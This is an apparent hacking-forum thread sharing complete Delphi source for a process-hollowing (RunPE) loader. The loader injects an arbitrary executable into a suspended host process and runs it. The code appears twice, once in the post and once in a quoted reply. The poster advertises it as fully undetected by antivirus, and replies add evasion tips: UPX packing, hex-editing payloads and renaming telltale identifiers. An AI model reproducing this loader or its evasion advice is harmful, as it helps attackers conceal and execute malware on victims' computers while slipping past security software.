

Forum:[Hack Forums](#)

Thread: [\(Delphi\) Process Hollowing, RunPE - Fully FUD | Supports x86 | x64 Files](#)

Jack Herrer - July 8, 2022, 6:34 am

Code :

Code uses

```
System.Classes,  
WinAPI.Windows,  
System.SysUtils;
```

```
function NtUnmapViewOfSection(  
    ProcessHandle: THandle;  
    BaseAddress: Pointer  
) : DWORD; stdcall; external 'ntdll.dll';
```

```
type  
    EWindowsException = class(Exception)  
    private  
        FLastError : Integer;  
    public  
        {@C}  
        constructor Create(const WinAPI : String); overload;  
  
        {@G}  
        property LastError : Integer read FLastError;  
    end;
```

```
EInvalidPEFile = class(Exception)  
public  
    {@C}  
    constructor Create(const AReason : String); overload;  
end;
```

```
constructor EWindowsException.Create(const WinAPI : String);  
var AFormattedMessage : String;  
begin  
    FLastError := GetLastError();  
  
    AFormattedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [  
        WinAPI,  
        FLastError,  
        SysErrorMessage(FLastError)  
    ]);  
  
    ///  
    inherited Create(AFormattedMessage);  
end;
```

```

constructor EInvalidPEFile.Create(const AReason : String);
begin
    inherited Create(Format('Invalid Windows PE File: "%s"', [ARreason]));
end;

procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const
ADataSize : SIZE_T);
var ABytesWritten : SIZE_T;
begin
    if not WriteProcessMemory(
        hProcess,
        pOffset,
        pData,
        ADataSize,
        ABytesWritten
    ) then
        raise EWindowsException.Create('WriteProcessMemory');
end;

procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String);
overload;
var AStartupInfo      : TStartupInfo;
    AProcessInfo       : TProcessInformation;
    pThreadContext     : PContext;
    AlmageBase         : NativeUInt;
    pOffset            : Pointer;
    ABytesRead         : SIZE_T;
    ptrImageDosHeader  : PImageDosHeader;
    AlmageNtHeaderSignature : DWORD;
    ptrImageFileHeader : PImageFileHeader;
    I                  : Integer;
    pSectionHeader     : PImageSectionHeader;
    pPayloadAddress    : Pointer;
    pImageBaseOffset   : Pointer;
    ALoaderX64         : Boolean;

    {$IFDEF WIN64}
        pOptionalHeader64 : PImageOptionalHeader64;
    {$ELSE}
        pOptionalHeader32 : PImageOptionalHeader32;
    {$ENDIF}

begin
    if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
        raise Exception.Create('Memory buffer is not valid.');
```

pOffset := pPEBuffer;

ptrImageDosHeader := PImageDosHeader(pOffset);

if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
 raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');

```

pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);

AlmageNtHeaderSignature := PDWORD(pOffset)^;

if AlmageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');

pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));

ptrImageFileHeader := PImageFileHeader(pOffset);

{$IFDEF WIN64}
    ALoaderX64 := True;
{$ELSE}
    ALoaderX64 := False;
{$ENDIF}

case ptrImageFileHeader^.Machine of
    IMAGE_FILE_MACHINE_AMD64 : begin
        if not ALoaderX64 then
            Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
```

end;

```

    IMAGE_FILE_MACHINE_I386 : begin
        if ALoaderX64 then
            Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
```

end;

```

end;

pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));

{$IFDEF WIN64}
    pOptionalHeader64 := PImageOptionalHeader64(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
    pOptionalHeader32 := PImageOptionalHeader32(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}

pSectionHeader := PImageSectionHeader(pOffset);

ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;

UniqueString(APEHost);

if not CreateProcessW(

```

```
PWideChar(APEHost),  
nil,  
nil,  
nil,  
False,  
CREATE_SUSPENDED,  
nil,  
nil,  
AStartupInfo,  
AProcessInfo
```

```
) then
```

```
raise EWindowsException.Create('CreateProcessW');
```

```
pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);  
pThreadContext^.ContextFlags := CONTEXT_FULL;
```

```
if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then  
raise EWindowsException.Create('GetThreadContext');
```

```
{IFDEF WIN64}  
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));  
{ELSE}  
pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));  
{ENDIF}
```

```
if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AlmageBase,  
SizeOf(NativeUInt), ABytesRead) then  
raise EWindowsException.Create('ReadProcessMemory');
```

```
if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AlmageBase)) <> 0 then  
raise Exception.Create('Could not unmap section.');
```

```
pPayloadAddress := VirtualAllocEx(  
AProcessInfo.hProcess,  
nil,  
{IFDEF WIN64}  
pOptionalHeader64^.SizeOfImage,  
{ELSE}  
pOptionalHeader32^.SizeOfImage,  
{ENDIF}  
MEM_COMMIT or MEM_RESERVE,  
PAGE_EXECUTE_READWRITE  
);
```

```
if not Assigned(pPayloadAddress) then  
raise EWindowsException.Create('VirtualAllocEx');
```

```
WriteProcessMemoryEx(  
AProcessInfo.hProcess,  
pPayloadAddress,  
pPEBuffer,  
{IFDEF WIN64}  
pOptionalHeader64^.SizeOfHeaders
```

```

{$ELSE}
    pOptionalHeader32^.SizeOfHeaders
{$ENDIF}
);

for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
    try
        WriteProcessMemoryEx(
            AProcessInfo.hProcess,
            Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
            Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
            pSectionHeader^.SizeOfRawData
        );
    finally
        pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
    end;
end;

{$IFDEF WIN64}
    pThreadContext^.Rcx := NativeUInt(pPayloadAddress) +
pOptionalHeader64^.AddressOfEntryPoint;
{$ELSE}
    pThreadContext^.Eax := NativeUInt(pPayloadAddress) +
pOptionalHeader32^.AddressOfEntryPoint;
{$ENDIF}

WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pImageBaseOffset,
    @pPayloadAddress,
    SizeOf(Pointer)
);

if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('SetThreadContext');

if ResumeThread(AProcessInfo.hThread) = 0 then
    raise EWindowsException.Create('ResumeThread');
end;

procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer : array of byte;
    hFile : THandle;
    AFileSize : Int64;
    ABytesRead : DWORD;
begin
    if not FileExists(APEFile) then
        raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
    ///

    hFile := CreateFile(
        PWideChar(APEFile),

```

```

    GENERIC_READ,
    FILE_SHARE_READ,
    nil,
    OPEN_EXISTING,
    0,
    0
);
if hFile = INVALID_HANDLE_VALUE then
    raise EWindowsException.Create('CreateFile');

try
    if not GetFileSizeEx(hFile, AFileSize) then
        raise EWindowsException.Create('GetFileSizeEx');

    if AFileSize = 0 then
        raise Exception.Create('Invalid PE File Size.');
```

SetLength(ABuffer, AFileSize);

```

    if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
        raise EWindowsException.Create('ReadFile');
finally
    CloseHandle(hFile);
end;

///
HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;

begin
    try
        HollowMe('FileToRun.exe', 'HostFile.exe');
    except
        on E: Exception do
            Writeln(E.ClassName, ': ', E.Message);
        end;
    end.
end.
```

It's Fully Undetected, After Sharing it, I Can't Tell What Will Happen.
 Supports both x86-32 / x86-64

You Must Install RAD Studio

Watch The Tutorial To Understand Better :

[CLICK ME TO WATCH TUTORIAL](#)

Scan Results : <https://antiscan.me/scan/new/result?id=87q0Cm1LiDYV>

B-Zone - July 8, 2022, 8:52 am

(Jul 8, 2022 06:34 AM)Jack Herrer Wrote: [\[CITE\]](#) Code :
 Code uses

```
System.Classes,  
WinAPI.Windows,  
System.SysUtils;
```

```
function NtUnmapViewOfSection(  
    ProcessHandle: THandle;  
    BaseAddress: Pointer  
):DWORD; stdcall; external 'ntdll.dll';
```

```
type  
    EWindowsException = class(Exception)  
    private  
        FLastError : Integer;  
    public  
        {@C}  
        constructor Create(const WinAPI : String); overload;  
  
        {@G}  
        property LastError : Integer read FLastError;  
    end;  
  
    EInvalidPEFile = class(Exception)  
    public  
        {@C}  
        constructor Create(const AReason : String); overload;  
    end;
```

```
constructor EWindowsException.Create(const WinAPI : String);  
var AFormattedMessage : String;  
begin  
    FLastError := GetLastError();  
  
    AFormattedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [  
        WinAPI,  
        FLastError,  
        SysErrorMessage(FLastError)  
    ]);  
  
    ///  
    inherited Create(AFormattedMessage);  
end;
```

```
constructor EInvalidPEFile.Create(const AReason : String);  
begin  
    inherited Create(Format('Invalid Windows PE File: "%s"', [ARreason]));  
end;
```

```
procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const  
ADataSize : SIZE_T);  
var ABytesWritten : SIZE_T;  
begin
```

```

if not WriteProcessMemory(
    hProcess,
    pOffset,
    pData,
    ADataSize,
    ABytesWritten
) then
    raise EWindowsException.Create('WriteProcessMemory');
end;

procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String);
overload;
var AStartupInfo      : TStartupInfo;
    AProcessInfo      : TProcessInformation;
    pThreadContext    : PContext;
    AlmageBase        : NativeUInt;
    pOffset           : Pointer;
    ABytesRead        : SIZE_T;
    ptrImageDosHeader : PImageDosHeader;
    AlmageNtHeaderSignature : DWORD;
    ptrImageFileHeader : PImageFileHeader;
    I                 : Integer;
    pSectionHeader    : PImageSectionHeader;
    pPayloadAddress   : Pointer;
    pImageBaseOffset  : Pointer;
    ALoaderX64        : Boolean;

    {$IFDEF WIN64}
        pOptionalHeader64 : PImageOptionalHeader64;
    {$ELSE}
        pOptionalHeader32 : PImageOptionalHeader32;
    {$ENDIF}

begin
    if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
        raise Exception.Create('Memory buffer is not valid.');
```

pOffset := pPEBuffer;

ptrImageDosHeader := PImageDosHeader(pOffset);

if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
 raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');

pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);

AlmageNtHeaderSignature := PDWORD(pOffset)^;

if AlmageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
 raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');

pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));

```

ptrImageFileHeader := PImageFileHeader(pOffset);

{$IFDEF WIN64}
  ALoaderX64 := True;
{$ELSE}
  ALoaderX64 := False;
{$ENDIF}

case ptrImageFileHeader^.Machine of
  IMAGE_FILE_MACHINE_AMD64 : begin
    if not ALoaderX64 then
      Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
```

end;

```

  IMAGE_FILE_MACHINE_I386 : begin
    if ALoaderX64 then
      Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
```

end;

```

  end;

pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));

{$IFDEF WIN64}
  pOptionalHeader64 := PImageOptionalHeader64(pOffset);

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
  pOptionalHeader32 := PImageOptionalHeader32(pOffset);

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}

pSectionHeader := PImageSectionHeader(pOffset);

ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;

UniqueString(APEHost);

if not CreateProcessW(
  PWideChar(APEHost),
  nil,
  nil,
  nil,
  False,
  CREATE_SUSPENDED,
  nil,
  nil,
  AStartupInfo,
  AProcessInfo

```

```

) then
    raise EWindowsException.Create('CreateProcessW');

pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
pThreadContext^.ContextFlags := CONTEXT_FULL;

if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('GetThreadContext');

{$IFDEF WIN64}
    plImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
{$ELSE}
    plImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
{$ENDIF}

if not ReadProcessMemory(AProcessInfo.hProcess, plImageBaseOffset, @AlmageBase,
    SizeOf(NativeUInt), ABytesRead) then
    raise EWindowsException.Create('ReadProcessMemory');

if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AlmageBase)) <> 0 then
    raise Exception.Create('Could not unmap section.');

pPayloadAddress := VirtualAllocEx(
    AProcessInfo.hProcess,
    nil,
    {$IFDEF WIN64}
        pOptionalHeader64^.SizeOfImage,
    {$ELSE}
        pOptionalHeader32^.SizeOfImage,
    {$ENDIF}
    MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
);

if not Assigned(pPayloadAddress) then
    raise EWindowsException.Create('VirtualAllocEx');

WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pPayloadAddress,
    pPEBuffer,
    {$IFDEF WIN64}
        pOptionalHeader64^.SizeOfHeaders
    {$ELSE}
        pOptionalHeader32^.SizeOfHeaders
    {$ENDIF}
);

for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
    try
        WriteProcessMemoryEx(
            AProcessInfo.hProcess,
            Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),

```

```

        Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData,
        pSectionHeader^.SizeOfRawData
    );
finally
    pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
end;
end;

{$IFDEF WIN64}
    pThreadContext^.Rcx := NativeUInt(pPayloadAddress) +
pOptionalHeader64^.AddressOfEntryPoint;
{$ELSE}
    pThreadContext^.Eax := NativeUInt(pPayloadAddress) +
pOptionalHeader32^.AddressOfEntryPoint;
{$ENDIF}

WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pImageBaseOffset,
    @pPayloadAddress,
    SizeOf(Pointer)
);

if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('SetThreadContext');

if ResumeThread(AProcessInfo.hThread) = 0 then
    raise EWindowsException.Create('ResumeThread');
end;

procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer : array of byte;
    hFile : THandle;
    AFileSize : Int64;
    ABytesRead : DWORD;
begin
    if not FileExists(APEFile) then
        raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
    ///

    hFile := CreateFile(
        PWideChar(APEFile),
        GENERIC_READ,
        FILE_SHARE_READ,
        nil,
        OPEN_EXISTING,
        0,
        0
    );
    if hFile = INVALID_HANDLE_VALUE then
        raise EWindowsException.Create('CreateFile');

```

```

try
  if not GetFileSizeEx(hFile, AFileSize) then
    raise EWindowsException.Create('GetFileSizeEx');

  if AFileSize = 0 then
    raise Exception.Create('Invalid PE File Size.');
```

SetLength(ABuffer, AFileSize);

```

  if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
    raise EWindowsException.Create('ReadFile');
```

finally
CloseHandle(hFile);
end;

///
HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;

```

begin
  try
    HollowMe('FileToRun.exe', 'HostFile.exe');
```

except
on E: Exception do
WriteLn(E.ClassName, ': ', E.Message);
end;

end.

It's Fully Undetected, After Sharing it, I Can't Tell What Will Happen.
Supports both x86-32 / x86-64

You Must Install RAD Studio

Watch The Tutorial To Understand Better :

[CLICK ME TO WATCH TUTORIAL](#)

Scan Results : <https://antiscan.me/scan/new/result?id=87q0Cm1LiDYV>

nice share mate , is it only scan-time or runtime FUD also !

Jack Herrer - July 8, 2022, 9:43 am

(Jul 8, 2022 08:52 AM)B-Zone Wrote: [\[CITE\]](#) nice share mate , is it only scan-time or runtime FUD also !

Tested On Windows Defender And ESET, Works Perfect

For ESET, You Should Edit Your Payload But Only If You Are Using Something Very Old Like, Babylon, Example Do Some Hex Edit, And Pack it With UPX

I Am Pretty Sure, It Can Bypass 99% Antiviruses Runtime With Some Knowledge.

B-Zone - July 8, 2022, 10:13 am

(Jul 8, 2022 09:43 AM)Jack Herrer Wrote: [\[CITE\]](#) Tested On Windows Defender And ESET, Works

Perfect

For ESET, You Should Edit Your Payload But Only If You Are Using Something Very Old Like, Babylon, Example Do Some Hex Edit, And Pack it With UPX

I Am Pretty Sure, It Can Bypass 99% Antiviruses Runtime With Some Knowledge.
i am really happy to see someone share his real knowledge without getting \$\$\$, all the best for you buddy <3

Jack Herrer - July 8, 2022, 10:51 am

(Jul 8, 2022 10:45 AM)Dyne Wrote: [\[CITE\]](#) Utilizing ntdll.dll call via DWORD? lol
Unsigned data will typically cause scrutiny in an .exe

If this bypasses runtime packed upx I will be very surprised. I would also recommend renaming your pointer index from common terms like Payload. That being said, we can use UPX to shed the ZonIdentifier of your downloader.
However, thank you for the share.

?Try it, nothing is impossible, Thanks For Idea [renaming your pointer index from common terms like Payload.]

Jack Herrer - July 8, 2022, 12:58 pm

(Jul 8, 2022 11:03 AM)Dyne Wrote: [\[CITE\]](#) Very interesting.
You get a + from me vs. WD, sir.
Good job, share more.
Huh Thanks, i'm working on good projects i'll share soon more

SIM-4932765 - July 9, 2022, 2:25 am

Tested against some avs and it stills FUD.
That's a + from me.
Thanks for sharing and hope it helps anyone.

JohnPrice - July 9, 2022, 10:43 am

Great man, thanks you! How can I contact with you? PM please.

Julius013 - July 9, 2022, 11:42 am

entirely taken from here : <https://unprotect.it/snippet/process-hollowing-runpe/113/>

cargacozia - July 9, 2022, 12:18 pm

Wow. Very advanced. Seems windows defender has been the biggest holdup for the last few years since most have switched to windows 10. Interesting post

Jack Herrer - July 9, 2022, 7:47 pm

(Jul 9, 2022 11:42 AM)Julius013 Wrote: [\[CITE\]](#) entirely taken from here :
<https://unprotect.it/snippet/process-hollowing-runpe/113/>
Never said i made it, i am just 8 years delphi developer, and i don't see peoples using delphi alot.

and i decided to share this code

The Runpe Made BY Jean-Pierre LESUEUR, which i follow him since 2014

Julius013 - July 10, 2022, 7:17 pm

(Jul 9, 2022 07:47 PM)Jack Herrer Wrote: [\[CITE\]](#) Never said i made it, i am just 8 years delphi developer, and i don't see peoples using delphi alot.

and i decided to share this code

The Runpe Made BY Jean-Pierre LESUEUR, which i follow him since 2014

but you didn't deny that it wasn't yours as well. "i'm working on good projects i'll share soon more" <- you're clearly stating here that you made it by talking about other projects of yours plus adding "more"

NotKover - July 10, 2022, 10:41 pm

(Jul 9, 2022 11:42 AM)Julius013 Wrote: [\[CITE\]](#) entirely taken from here :

<https://unprotect.it/snippet/process-hollowing-runpe/113/>

Thanks for sharing unprotect.it because there are some nice examples on it

Jack Herrer - July 10, 2022, 11:35 pm

(Jul 10, 2022 07:17 PM)Julius013 Wrote: [\[CITE\]](#) but you didn't deny that it wasn't yours as well. "i'm working on good projects i'll share soon more" <- you're clearly stating here that you made it by talking about other projects of yours plus adding "more"

Why You Are Acting Like This ?, You didn't know about unprotect it, before i share this thread ???

no matter what, we are sharing information together and learning together. ?